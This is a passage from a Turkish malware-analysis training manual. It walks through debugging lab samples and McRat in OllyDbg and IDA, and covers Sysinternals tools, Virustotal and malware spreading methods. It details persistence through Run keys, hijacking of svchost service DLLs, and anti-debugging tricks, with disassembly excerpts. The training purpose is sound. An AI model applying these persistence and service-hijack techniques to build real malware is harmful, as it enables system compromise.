= 1 00401626 |. E8 FDFAFFFF CALL 00401128 ; Lab09-02.00401128 0040162B |. 83C4 0C ADD ESP,0C 0040162E |. 8945 E4 MOV DWORD PTR SS:[EBP-1C],EAX 00401631 |. 50 PUSH EAX 2. Adım: Programı satır satır çalıştırmak için F7 ve F8 kısayolları kullanılabilir. F7 ile F8’in farkı ilki call komutlarının içine girerken ikincisi tamamını çalıştırıp devam etmektedir. Main fonksiyonuna F7 ile girilir. Fonksiyon stackte 0x304 byte(OllyDbg’da gösterilen sayısal değerler 16’lık sistemdedir.) yer ayırıyor ve bu alana sabit değerleri yerleştiriyor. Bu tarz yöntemler basit statik analizyöntemleriyle programda kullanılanstringlerin görülmesini engellemek için zararlı yazılımlar tarafından sıklıkla kullanılır. CPU Disasm Address Hex dump Command Comments
  • 22. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 0040112B |. 81EC 04030000 SUB ESP,304 00401131 |. 56 PUSH ESI 00401132 |. 57 PUSH EDI 00401133 |. C685 50FEFFFF MOV BYTE PTR SS:[LOCAL.108],31 0040113A |. C685 51FEFFFF MOV BYTE PTR SS:[LOCAL.108+1],71 …... 004011BF |. C685 67FEFFFF MOV BYTE PTR SS:[LOCAL.103+3],0 004011C6 |. B9 08000000 MOV ECX,8 Sabitleri belleğe yazma işlemi sonuna kadar çalıştırılıp veya F8 ile adım adım ilerlenip OllyDbg ekranın sağ alt tarafındaki Stack penceresinden ilgili adrese yazılan değer ASCII haliyle de görülebilir. Debugger kullanmanın disassembler’a göre avantajlı olduğu durumlardan birisi budur. Stacke yazılan değerin “1qaz2wsx3edc” olduğu görülmektedir. Klavyede bu tuşların dizilişi dikkate alındığında bir yere not etmekte fayda var. 3. Adım: Main fonksiyonunun devamında GetModuleFileName winapi fonksiyonu çağırılmaktadır. MSDN’den incelendiğinde bu fonksiyon örnekte olduğu gibihModule parametresi NULL olarak çağırıldığında sürecin kendi dizin yolunu yine parametre ile geçirilen buffera yazmaktadır. CPU Disasm Address Hex dump Command Comments 004011FA |. 68 0E010000 PUSH 10E ; /Count = 270. 004011FF |. 8D85 00FDFFFF LEA EAX,[LOCAL.192] ; |
  • 23. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 00401205 |. 50 PUSH EAX ; |Buffer => OFFSET LOCAL.192 00401206 |. 6A 00 PUSH 0 ; |hModule = NULL 00401208 |. FF15 0C404000 CALL DWORD PTR DS:[<&KERNEL32.GetModuleF ; KERNEL32.GetModuleFileNameA Fonksiyon çağırıldıktan hemen sonra bufferın adresi OllyDbg’ın stack veya memory bölümünde incelendiğinde Lab09-02.exe’nin tam yolu görülebilir. Bir call’da yine aynı değeri paremetre olarak alan bir fonkisyon çağırılmaktadır. Fonksiyon incelendiğinde dizin yolundan geriye sadece dosya adını bırakıp geri döndürdüğü görülür. Devamında çağırılan 0x004014C0 adresindeki fonksiyon iseçalışandosyanın adının "ocl.exe” ilekarşılaştırıp eğer öyleyse 0 yoksa farklı bir değer döndüren, büyük ihtimalle strcmp veya türevi bir fonksiyondur. CPU Disasm Address Hex dump Command Comments 0040122B |. 8B45 FC MOV EAX,DWORD PTR SS:[LOCAL.1] ; ASCII "Lab09- 02.exe" 0040122E |. 50 PUSH EAX ; /Arg2 => [LOCAL.1] 0040122F |. 8D8D 60FEFFFF LEA ECX,[LOCAL.104] ; | 00401235 |. 51 PUSH ECX ; |Arg1 => OFFSET LOCAL.104 00401236 |. E8 85020000 CALL 004014C0 ; Lab09-02.004014C0 0040123B |. 83C4 08 ADD ESP,8 Bu fonksiyonun hemen devamında dönen değer 0 mi (yani dosya adı ocl.exe mi) diye kontrol edilip süreç sonlanıyor veya ağ aktiviteleri olan (WS2_ fonksiyonları) kod bloğundan devam ediyor. CPU Disasm Address Hex dump Command Comments 0040123B |. 83C4 08 ADD ESP,8 0040123E |. 85C0 TEST EAX,EAX Dönen değer 0 mı? 00401240 |. 74 0A JZ SHORT 0040124C 0 ise dallanma yap 00401242 |. B8 01000000 MOV EAX,1 00401247 |. E9 8A010000 JMP 004013D6 main’in sonuna dallan 0040124C |> BA 01000000 /MOV EDX,1 4. Adım: Bu aşamada dosya adını ocl.exe olarak değiştirmek gibi bir seçenek olsa da debugger kullanmanın avantajlarından yararlanıp 0x00401240 adresindeki JZ dallanma komutunu çalıştırmadan OllyDbg’ın sağ üst taraftaki Registers bölümünden Zero flag’ına çift tıklayarak değeri 1 yapılır. Bubir önceki işlemin(test eax,eax)sonucunun 0 olduğu anlamına gelir,böylece JZ (jump if zero) dallanmayı seçecektir.
  • 24. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Bağlantı için soket oluşturma gibi hazırlık işlemlerinin ardından analizin başında karşılaşılan “1qaz2wsx3edc” değerini parametre olarak alan bir fonksiyon çağırılmaktadır. CPU Disasm Address Hex dump Command Comments 004012B5 |. 51 |PUSH ECX ; /Arg2 = 20 004012B6 |. 8D95 50FEFFFF |LEA EDX,[LOCAL.108] ; | 004012BC |. 52 |PUSH EDX ; |Arg1 => OFFSET LOCAL.108 004012BD |. E8 C7FDFFFF |CALL 00401089 ; Lab09-02.00401089 004012C2 |. 83C4 08 |ADD ESP,8 004012C5 |. 8945 F8 |MOV DWORD PTR SS:[LOCAL.2],EAX 004012C8 |. 8B45 F8 |MOV EAX,DWORD PTR SS:[LOCAL.2] 004012CB |. 50 |PUSH EAX ; /Arg1 => [LOCAL.2] 004012CC |. FF15 A4404000 |CALL DWORD PTR DS:[<&WS2_32.#52>] ; WS2_32.gethostbyname 004012D2 |. 8985 44FEFFFF |MOV DWORD PTR SS:[LOCAL.111],EAX 004012D8 |. 83BD 44FEFFFF |CMP DWORD PTR SS:[LOCAL.111],0 Fonksiyon detaylı incelenmeden çalıştırıldığında EAX ile dönen adresteki değere bakıldığında bağlantı kuracağı adresi(www.practicalmalwareanalysis.com) dinamik olarak oluşturduğu görülür. Hemen sonra bu değeri gethostbyname winapi fonksiyonunda kullanarak IP çözümlemesi yaptığıanaşılmaktadır. Amaç host ve network tabanlı imzaları çıkarmak iseanaliz bu noktada kesilebilir ya da analize devam edilip zararlının ağ aktiviteleri detaylıca incelenebilir.
  • 25. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Malware Keşfinde Microsoft Sysinternals Araçları Uygulama No: BGA-MA-? Uygulama Adı: Process Explorer Kullanımı Amaç: Process Explorer aracını kullanarak sistemde çalışan süreçler hakkında bilgi toplamak. Lab senaryosu: Sistemde çalışan şüpheli bir süreç hakkında yüklediği dll dosyalar, kullandığı handlelar, içerdiği stringler, cpu kullanımı, network aktivitesi, onu başlatan ve kendi başlattığı süreçler gibi bilgileri toplamak. Kullanılan Araçlar: ● Sysinternals Process Explorer v15 ● Lab03-01.exe Adımlar: 1. Adım: Process explorer yönetici haklarıyla çalıştırılır. Sistemde o an çalışan süreçler, birbirleriyle ilişkilerini(parent-child) gösteren bir ağaç yapısında listelenir. Orta bölümde CPU, PID vb bilgilerin bulunduğu tabloda sütün isimlerinden herhangi birinin üstüne sağ tıklayıp “select columns” diyerek yeni bilgiler eklenebilir. Genelde “user name” sütununu eklemek beklenmeyen kullanıcı haklarıyla çalışan süreçleri tespit etmek açısından faydalı olacaktır. 2. Adım: Analiz edilecek sürecin üzerine tıklanır ve Ctrl+D kısayolu ile sürecin belleğe yüklediği dlllerin listesi görülür. Buna göre yaptığı aktiviteler hakkında gelen fikir edinilebilir. Örneğin ws2_32.dll network aktivitesini işaret eder(tabi doğrulanması gerekir). Ctrl+H kısayolu ile sürecin sahip olduğu handller listelenebilir ve Ctrl+L ile eski görünüme dönülür.
  • 26. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 3. Adım: Sürece “sağ tık -> Properties” seçeneğinden süreçler ilgili detaylar elde edilebilir. TCP/IP sekmesinden bağlantı varsa kurduğu adresler görülebilir. Strings sekmesinden içerdiği(statik olarak) stringler listelenir. Örnek dosyasının içerdiği dikkate değer stringler şu şekildedir. …... !This program cannot be run in DOS mode. …. CONNECT %s:%i HTTP/1.0 HTTP başlığı …... StubPath SOFTWAREClasseshttpshellopencommandV ! SoftwareMicrosoftActive SetupInstalled Components test www.practicalmalwareanalysis.com URL admin ! VideoDriver ! WinVMX32- ! vmx32to64.exe !
  • 27. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity SOFTWAREMicrosoftWindowsCurrentVersionRun Başlangıçta Çalıştır SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders .. Stringler okunabildiklerinde zararlının aktiviteleri hakkında oldukça fazla fikir verebilir. 4. Adım: Process Explorer’ın çok kullanışlı bir başka özelliği de “Verify” özelliğidir. Properties penceresindeki Image sekmesinden verify butonuna basılarak bir Windows sürecinin (sisteme ait) orijinalliği doğrulanabilir. Bu sayede windows süreçlri modifikasyon ihtimaline karşı kontrol edilebilir. Uygulama No: BGA-MA-? Uygulama Adı: Process Monitor Kullanımı Amaç: Process Monitor aracını kullanarak belli eylemleri gerçekleştiren süreçleri veya belli bir sürecin eylemlerini tespit etmek. Lab senaryosu: Örnek zararlı yazılımın kayıt defteri ve dosya işlemleri Process Monitor gözlenerek sistemde kalıcılığını nasıl sağladığıtespit edilir.
  • 28. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Kullanılan Araçlar: ● Sysinternals Process Monitor v2.94 ● Lab03-01.exe Adımlar: 1. Adım: Process monitor yönetici haklarıyla çalıştırlır. Çalışır çalışmaz sistemdeki neredeyse tüm olayları loglamaya başlar. Bu loglar daha sonra filitreleme yöntemiyle analiz edilebilir. Belli bir dosyanın eylemlerini incelemek için Ctrl+X kısayoluyla daha önceki loglar silinir. Analiz edilecek zararlı çalıştırılır ve kısa bir süre sonra Ctrl+E kısayoluyla loglama işlemi durdurulur. Bu süre içinde sistemde gerçekleşen eylemler liste halinde görülebilir ancak yine de tek tek incelemek için çok fazla kayıt olacaktır. 2. Adım: Ctrl+L tuş kombinasyonu ile Filtering penceresi açılır. Bu menüden çok çeşitli filtreler oluşturmak mümkündür. Başlangıç olarak belli bir sürecin eylemlerini listelemek için “Process Name is Lab03-01.exe” diye bir filtre oluşturulur. Apply butonu ile loglara bu filtre uygulanarak sadece Lab03-01.exe sürecinin eylemleri görüntülenir. Burada birçok dosya ve kayıt defteri işlemi görülmektedir. Zamandan kazanmak için hedefi daha da daraltıp “Operation is RegSetValue” ve “Operation is CreateFile” olarak özellikle iki winAPI fonksiyonunun kullanımını gösterecek filtreler eklenir.
  • 29. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 3. Adım: Filtreleme sonucunda kalan olaylardan zararlının sistemde oluşturduğu dosyalar ve kayıt defterine eklediği kayıtlar görüntülenebilir. Örneğin zararlının kendisini önce “C:WINDOWSsystem32vmx32to64.exe” dizinine kopyaladığı daha sonra da sistem başlangıcında çalıştırılması için kayıt defterinde autorun dizinlerinden biri olan “HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun” dizininin altına “VideoDriver” adlı bir anahtar ekleyip değer olarak da “C:WINDOWSsystem32vmx32to64.exe” atadığı görülür.
  • 30. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Malware Yayılma Mekanizmaları Dosya Paylaşım Yoluyla Malware Yayılması Zararlı yazılımların yayılma yöntemlerinden en temeli muhtemelen zararlı uygulamanın veya yükleyicisinin doğrudan kurban tarafından indirilip çalıştırıldığı yöntemdir. Bu yöntemde saldırgan, kurbanı çeşitli sosyal mühendislik yöntemleriyle bir mail ekini veya bir linkteki dosyayı indirmeye ikna eder. Crack, keygen gibi warez dosya paylaşımları üzerinden yayılan zararlıları yine bu kategoride değerlendirmek mümkündür. Örneğin DarkBot zararlısı ele geçirilmiş skype hesaplarından arkadaş listesine “hehe :) yeni profil resmin bu mu? <link>” gibi bir mesaj gönderip kurbanı linke tıklayıp, zip dosyasını indirip, içindekini çalıştıracak kadar meraklandırıyor. Tarayıcı ve Tarayıcı Eklentilerindeki Zafiyetler Yoluyla Malware Yayılması Web tarayıcıları ve Flash Player, PDF Reader, Quicktime gibi daha birçok yaygın kullanımı olan tarayıcı eklentilerinde çok sayıda hedef sistemde komut çalıştırmaya yarayan zafiyetler bulunmuştur, ve bulunmaya devam etmektedir. Bu zafiyetler kurbanın zararlı sayfaya bağlanması dışında başka bir etkileşim gerektirmeden bilgisayarına zararlının bulaşmasına sebep olabilir. Hatta bir çok farklı tarayıcı tabanlı zafiyetlerin istismar kodlarını barındıran “Exploit Kit(istismar kiti) adı verilen paketler de mevcuttur. Bu istismar kitleri saldırganların kendilerine ait Porno ve benzeri içerikli web sitelerinde olabileceği gibi ele geçirilen yasal sitelere de entegre edilip kurbanlara güvenilir bir kanaldan zararlı yazılım bulaştırılabilir. Network Servisleri ve Autorun Zafiyetleri Yoluyla Malware Yayılması Zararlı yazılımlar yeni makineleri ele geçirmek için network servislerindeki zafiyetleri veya USB Autorun gibi yöntemleri kullanabilirler. Örneğin zararlının bir dosya paylaşım programında bulunan uzaktan komut çalıştırma zafiyetini istismar ederek belli IP aralıklarını tarayıp bu uygulamanın kullanıldığı makinelere bulaşması oldukça muhtemel bir senaryodur. Yine USB bellekler aracılığıyla yayılan zararlı yazılımların da sayısı bir hayli fazladır. Online Malware Analiz Siteleri ve Temel Çalışma Yöntemleri Analiz edilecek zararlı hakkında hızlı bir genel bilgi edinmek için online sanbox hizmetleri kullanışlı olabilir. Sandboxlar ile genel olarak zararlı hakkında şu bilgiler edinilebilir. ● Kurmaya çalıştığı ağ bağlantıları ● Eriştiği dosya ve dizinler ● Eriştiği windows kayıt defteri girdileri ● Kullandığı handlelar ● Kullandığı sistemfonksiyonları ● Hafıza alanına yüklediği dll dosyaları
  • 31. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Malware analiz amaçlı sandbox uygulamalarının genel yapısının sanal bir network ile birbirine bağlı host ve analiz makinelerinde oluştuğu söylenebilir. Host genel olarak bir analizi başlatmak, trafiği kaydetmek ve rapor oluşturmaktan sorumludur. Analiz makineleri ise zararlının üzerinde çalışacağı uygun ortamdır. Zararlı analiz makinesinde gerçekten çalıştırılarak aktiviteleri, bellek ve dosya sistemindeki etkileri gibi detaylar raporlanmak üzere hosta gönderilir. Bir host üzerinde birden fazla analiz makinesi çalışabilir. Virustotal gibi bir çok antivirüs firmasının servislerini kullanarak imza tabanlı tarama yapan servisler de bilindik zararlıları tanımlamakta kullanılabilir. http://anubis.iseclab.org adresindeki Anubis sandbox kullanılarak 8mb’ın altındaki dosyalar analiz edilebilir. Anubis’e alternatif olarak yerelde bir sandbox kurmak gerekirse açık kaynak bir yazılım olan Cuckoo sandbox kullanılabilir. Ayrıca Cuckoo https://malwr.com/ adresinden online olarak kullanılabilir. Uygulama No: BGA-MA-? Uygulama Adı: Virustotal Kullanımı Amaç: Virutotal online hizmetini kullanarak zararlı yazılım hakkında hızlıca bilgi toplamak. Lab senaryosu: Nugache zararlısı (sha256: 54791f6e4277a231d50eecdf5bfea263131e60b2b9e17b6cf7aa2a2f66478cc1) Virustotal’e yüklenerek hakkındaki özet bilgiler incelenir. Kullanılan Araçlar: ● https://www.virustotal.com Adımlar: 1. Adım: Virustotal anasayfasındaki “Dosyayı Seç” butonu kullanılarak zararlı dosya sisteme yüklenir. Eğer aynı dosya (aynı hash değerine sahip) daha önceden analiz edildiyse sistemtarafından eski analize mi bakılacağı yoksa tekrar analiz mi edileceği sorulur. Duruma göre uygun seçim yapıldıktan sonra “Analizler, Dosya Detayı, Ek Bilgi, Yorumlar, Oylar, Davranışsal Bilgiler” sekmelerini içeren bir sayfa ile karşılaşılır. Analizler tabında yaklaşık 50 adet farklı antivirüs kullanılarak yapılan taramanın sonuçları listelenir.
  • 32. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Antivirus Sonuç Güncelle AVG IRC/BackDoor.Nugache.A 20140124 Ad-Aware MemScan:Win32.Worm.Nugache.N 20140124 Agnitum I-Worm.Nugache.A!Pac 20140124 AhnLab-V3 Worm/Win32.IRCBot 20140124 AntiVir TR/Crypt.XPACK.Gen 20140124 Avast Win32:Nugache [Wrm] 20140124 Baidu-International Worm.Win32.Nugache.ABKz 20140124 BitDefender MemScan:Win32.Worm.Nugache.N 20140124 ... 2. Adım: Dosya detayı sekmesinde zararlının dosya yapısıyla ilgili detaylar bulunabilir. Örnekte zararlının PE formatından ● Derlenme zamanı: 2006-03-23 20:07:28 ● Hedef mimari: Intel 386 or later processors and compatible processors ● PE Sectionları ve detayları: .text, .rdata, .data ● Kullanıma hazırladığı sistemfonksiyonları: VirtualProtect, LoadLibraryA, GetProcAddress gibi temel bilgiler elde edilmiştir. Ayrıca zararlı dosya üzerinde Exif aracılı çalıştırılarak elde edilen metadata bilgileri de gösterilmektedir. 3. Adım: Davranışsal bilgiler sekmesi zararlının sandboxta çalıştırıldığında gösterdiği davranışları raporlayan bölümdür. Eğer zararlının anti-sandbox özelliği yoksa veya başarılı olamamışsa bu bölüm zararlı hakkında önemli bilgiler sağlayabilir. Genel olarak Virustotal’in kullandığı veya diğer online servislerin kullandığı sandboxlardan şu bilgiler elde edilebilir. ● Açtığı dosyalar, pipelar vb. ● Okuduğu dosyalar ● Kopyaladığı dosyalar ● Eklenen, değiştirilen, silinen kayıtdefteri anahtarları ● Oluşturulan veya açılan süreçler, mutexler ● Çalışma anında yüklediği dll dosyaları ● Yaptığı DNS sorguları ● Bağlandığı IP adresleri 4. Adım:
  • 33. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Yorumlar ve ek bilgi sekmelerinde diğer Virustotal kullanıcılarının zararlı hakkında paylaşmış olabileceği bilgilere ve zararlının nasıl etiketlendiğine (ftp, irc, zbot) bakılarak yararlı bilgiler edinilebilir. McRat Analizi Amaç: Olası bir zararlı analiz sürecinde statik ve dinamik analiz yöntemlerinin nasıl kullanılabileceğini göstermek. Senaryo: McRat zararlı yazılımını disassembler ve debugger kullanarak analiz edip, sisteme nasıl yerleştiğini, hangi değişiklikleri yaptığını, hangi anti-debugging tekniklerini kullandığını analiz etmek. Kullanılan Araçlar: ● PEID v0.95 ● IDA 6.1 ● OllyDbg v2.01 (v1.1 veya Immunity Debugger da kullanılabilir.) ● Strings v2.52 (SysInternals) ● Analiz edilen örneğin md5 özeti: 4d519bf53a8217adc4c15d15f0815993 1. Adım Örnek zararlıyı test için hazırlanmış bir windows platforma aktardıktan sonra(winxp sp3 x86 kullanılmıştır) ilk olarak PEID ile zararlının bir sıkıştırma veya paketleme işlemine tabi tutulup tutulmadığı kontrol edilir. PEID zararlının yazıldığı dil ve hatta kullandığı derleyici hakkında tahminde bulunuyor. Herhangi bir packer, protecter yazılımı kullanılmış olsaydı PEID, imzasını tanırsa packerın adını yoksa “unknown” gibi bir uyarı çıkarıyor olurdu. Alternatif olarak RGB Packer Detector aracı da aynı amaçla kullanılabilir. Edinilen bilgiler ışığında herhangi bir unpacking işlemine gerek kalmadan(şimdilik) zararlının statik analizine başlanabilir. SysInternals’ın Strings aracı kullanılarak zararlının okunabilir
  • 34. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity durumdaki stringleri listelenir. Komut satırından “strings mcrat.exe | more” komutu ile işlem gerçekleştirilebilir. Listelenen stringler zararlı hakkında oldukça fazla fikir verebileceği gibi yanıltıcı da olabilir bu yüzden doğrulanması gerekir. Göze çarpan bazı ilginç stringler şöyledir. ServiceDll SYSTEMCurrentControlSetServices%sParameters svchost.exe -k netsvcs Brower MyStubPath Parameters SYSTEMCurrentControlSetServices%s SOFTWAREMicrosoftWindows NTCurrentVersionSvchost %%SystemRoot%%System32svchost.exe -k "%s" ….. RTHDVCPL RTHDVCPL.DLL %USERPROFILE% SOFTWAREMicrosoftWindowsCurrentVersionRun rundll32.exe "%s", Launch Sadece stringlere bakılarak zararlının kendisini sistemde kalıcı kılmak için “SOFTWAREMicrosoftWindowsCurrentVersionRun” kayıt defteri anahtarını kullandığı veya kendisini servis olarak eklediği tahminleri yapılabilir. Ayrıca “!This program cannot be run in DOS mode.” stringinin iki kere geçmesi zararlının içinde başka bir çalıştırılabilir dosya barındırıyor olması ihtimalini de akıllara getirir. 2. Adım Zararlı IDA ile açılır. İlk olarak Imports sekmesine göz atılması zararlının kullanmış olabileceği fonkisyonlar hakkında fikir verebilir. Alternatif olarak Dependency Walker uygulaması da bu amaçla kullanılabilir. Imports sekmesine bakıldığında dosya işlemleri, kayıt defteri işlemleri, servis işlemleri, süreç işlemleri ve hatta sistemde komut çalıştırmayı sağlayacak birçok fonksiyonun içe aktarıldığı görülmektedir. İlginç olan nokta fonksiyonlar arasında ağ aktivitesi sağlayacak bir fonksiyon bulunmamasıdır. WinAPI fonksiyonlarının işlevleri ve detayları msdn.microsoft.com adresinden öğrenilebilir. Functions penceresinden start(main) fonksiyonu seçilerek analize başlanır. IDA graph görünümüne bakıldığında beklenmeyen bir şekilde main fonksiyonunun kayda değer hiçbir şey yapmadan koşulsuz bir dallanmayla programın çalışmasını sonlandırdığı görülmektedir. Assembly kodlarına bakıldığında dallanmadan hemen önce “int3” komutuyla bir istisna(exception) fırlatıldığı görülür. .text:00401DB6 mov [ebp+var_4], 0 .text:00401DBD int 3 ; Trap to Debugger .text:00401DBE jmp short loc_401DCE Bu istisna zararlı tarafından 0x00401DC6 adresindeki handler tarafından yakalanır. Handlerın
  • 35. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity tek işlevi de zararlının esas main fonksiyonu denilebilecek sub_4018F0(IDA’nın 0x4018F0 adresindeki fonksiyona verdiği isim) fonksiyonunu çağırmak olduğu görülür. Zararlının buradaki esas amacı muhtemelen debuggerları şaşırtmaktır. sub_4018F0 incelendiğinde ilk olarak IsUserAdmin winapi fonksiyonunu çağırıp zararlıyı çalıştıran kullanıcının yönetici yetkilerine sahip olup olmadığını kontrol ettiği görülür. İlgili kod incelendiğinde .text:00401905 push edi .text:00401906 call esi ; IsUserAnAdmin fonksiyonu çağır .text:00401908 test eax, eax sonuç 0 ise zero flagı set edilir .text:0040190A jz loc_401C39 zero flagı 1’se dallan .text:00401910 call sub_4018A0 .text:00401915 test eax, eax .text:00401917 jnz loc_401C39 yönetici grubundan bir kullanıcıysa sub_4018A0 fonksiyonundan çalışmaya devam edeceği görülür. Bu fonksiyon analiz edildiğinde işlevinin IsWow64Process winapi fonksiyonunu kullanarak sürecin WOW64 altında çalıştığını sorguladığı görülür. WOW64 32 bit windows uygulamalarının 64 bit sistemlerde sorunsuz çalışmasını sağlayan bir çeşit emulatördür denebilir. (http://msdn.microsoft.com/en- us/library/windows/desktop/aa384249%28v=vs.85%29.aspx) Dolayısıyla zararlı çalıştığı sistemin mimarisini(32 bit mi 64 bit mi) öğrenmiş olur. sub_4018A0 fonksiyonun C++ koduna http://msdn.microsoft.com/en-us/library/windows/desktop/ms684139%28v=vs.85%29.aspx adresinden ulaşılabilir, dolayısıyla detaylı assembly analizi eklenmemiştir. (Zararlı yazılımlarda msdn gibi kaynaklardaki kodların neredeyse birebir kullanıldığını görmek doğaldır.) Zararlının 32bit sistemde çalıştığını varsayarak analize devam edildiğinde tekrar kullanıcının yönetici olup olmadığını kontrol edip(ilginç) eğer yönetici ise şu kod bloğundan çalışmaya devam ediyor. .text:00401927 xor esi, esi .text:00401929 mov ecx, 7Fh .text:0040192E xor eax, eax .text:00401930 lea edi, [ebp+var_25A] .text:00401936 mov [ebp+ValueName], si .text:0040193D mov [ebp+Data], si .text:00401944 rep stosd .text:00401946 stosw Buraya kadar olan satırlar ebp + 25A dan itibaren 128 byte sıfırlar. .text:00401948 mov ecx, 1FFh .text:0040194D xor eax, eax .text:0040194F lea edi, [ebp+var_107A] .text:00401955 rep stosd .text:00401957 stosw Buraya kadar olan satırlar ebp + 107A dan itibaren 512 byte sıfırlar.
  • 36. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity .text:00401959 lea eax, [ebp+ValueName] .text:0040195F push eax ; lpString1 .text:00401960 call sub_401160 Üstteki 3 satır ise 128’lik bufferı parametre olarak vererek 0x401160 daki fonksiyonu çağırır. .text:00401965 add esp, 4 .text:00401968 test eax, eax .text:0040196A jz loc_401ACE sub_401160 fonksiyonu OpenSCManager ve EnumServicesStatus winapi fonksiyonlarını kullanarak sistemdeki servislerin listesini alıyor. Daha sonra bu listede “Brower” isimli servisi arıyor. .text:00401210 mov edx, [esi] .text:00401212 push offset String2 ; "Brower" .text:00401217 push edx ; lpString1 .text:00401218 call ds:lstrcmpiW .text:0040121E test eax, eax Bu servisin bulamadığı durumda zararlı, QueryServiceConfig winapi fonksiyonunu kullanarak servis ayarlarında “svchost.exe -k netsvcs” geçen bir servis arıyor. .text:004012B6 call edi ; QueryServiceConfigW .text:004012B8 mov edx, [ebx+0Ch] .text:004012BB push offset aSvchost_exeKNe ; "svchost.exe -k netsvcs" .text:004012C0 push edx .text:004012C1 call ds:StrStrW Böyle bir servis bulduğunda ise “HKLMSYSTEMCurrentControlSetServices%sParameters” kayıt defteri anahtarını açıp( %s yerine servis adını gelecek şekilde) ServiceDLL değerini sorguluyor. .text:00401363 push edx ; lpData .text:00401364 push edi ; lpType .text:00401365 push edi ; lpReserved .text:00401366 push offset ValueName ; "ServiceDll" .text:0040136B push eax ; hKey .text:0040136C call ds:RegQueryValueExW .text:00401372 test eax, eax Zararlının amacının kendisini yetkili bir başka servisin altına gizlemek veya yerine geçmek olduğu tahmininde bulunabilir. (svchost.exe -k netsvc nin anlamı için http://www.softwaretipsandtricks.com/necessary_files/105-SVCHOSTEXE%20- K%20NETSVCS.html) Devamında ise bu ServiceDLL değerini değiştirdiği, service konfigürasyonunu değiştirdiği ve
  • 37. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity hatta yeni konfigürasyonda servise SeTcbPrivilege yetkisi verdiği görülüyor. Bu servisin işletim sisteminin bir parçası olarak görüleceği anlamına gelir. Bir başka değişle bir windows sistemdeki en üst yetki olarak da tanımlanabilir. (http://technet.microsoft.com/en- us/library/bb457125.aspx) Bu aşamadan sonra zarlının hangi servisi seçtiği, ne gibi değişiklikler yaptığı ve devamında nasıl bir yol izlediğini dinamik yöntemlerle analiz etmek daha verimli olacaktır. 3. Adım McRat Ollydbg ile açılır. Statik analizde görülen anti-debugging hilesini atlatmak için int3 kesmesini çalıştırmadan 0x00401DC6 adresindeki exception handlerın ilk satırına sağ tık -> new origin here denilerek EIP’in değeri değiştirilir. CPU Disasm Address Hex dump Command Comments 00401DBD |. CC INT3 00401DBE . EB 0E JMP SHORT 00401DCE 00401DC0 /. B8 01000000 MOV EAX,1 00401DC5 . C3 RETN 00401DC6 /. 8B65 E8 MOV ESP,DWORD PTR SS:[EBP-18] 00401DC9 |. E8 22FBFFFF CALL 004018F0 Diğer bir seçenek de OllyDbg’ın “options” menüsünden “debugging->exceptions” bölümünden “INT3 breaks” kutusunu işaretlemektir. Bu sayede ollydbg int3 ile fırlatılan istisnayı görmezden gelip programın handle etmesini sağlayacaktır. İkinci seçenek programın defalarca çalıştırılması gerektiği durumlarda daha verimli olabilir. Ardından CTRL+G kısa yoluyla açılan ekrana analiz edilmek istenen fonksiyonun başlangıcı olan 0x401160 adresi yazılıp bu adrese ulaşılır ve F2 ile bir duraknoktası konulur. Program F9 ile çalıştırıldığında bu adreste duracaktır. Test ortamında bu fonksiyon adım adım çalıştırılıp analiz edildiğinde ikinci adımda konuşulan Brower servisi bulunamıyor. Aradığı “svchost.exe - k netsvcs” çalıştırılan servislerden de ilk eşleşen “AppMgmt” servisini seçiyor. AppMgmt için kayıt defterinden ServiceDll değerini sorguladığında "%SystemRoot%System32appmgmts.dll" yolunu buluyor. Bu yolu “HKLMSYSTEMCurrentControlSet001ServicesAppMgmtParameters” anahtarı altındaki ServiceDll değerine yazıyor ve servise statik analizde bahsedilen “System” yetkisini veriyor. Adım adım analize devam ederken 0X40145F adresindeki call çalıştırıldığında tekrar bir istisna fırlatıldığı görülür. İstisnanın kodu da ekranın sol altından görülebilir. Call incelendiğinde yine bir anti-debugging tekniği olduğu görülecektir. Detaylara girmeden bu istisnayı da görmezden gelmek için “options” penceresinden 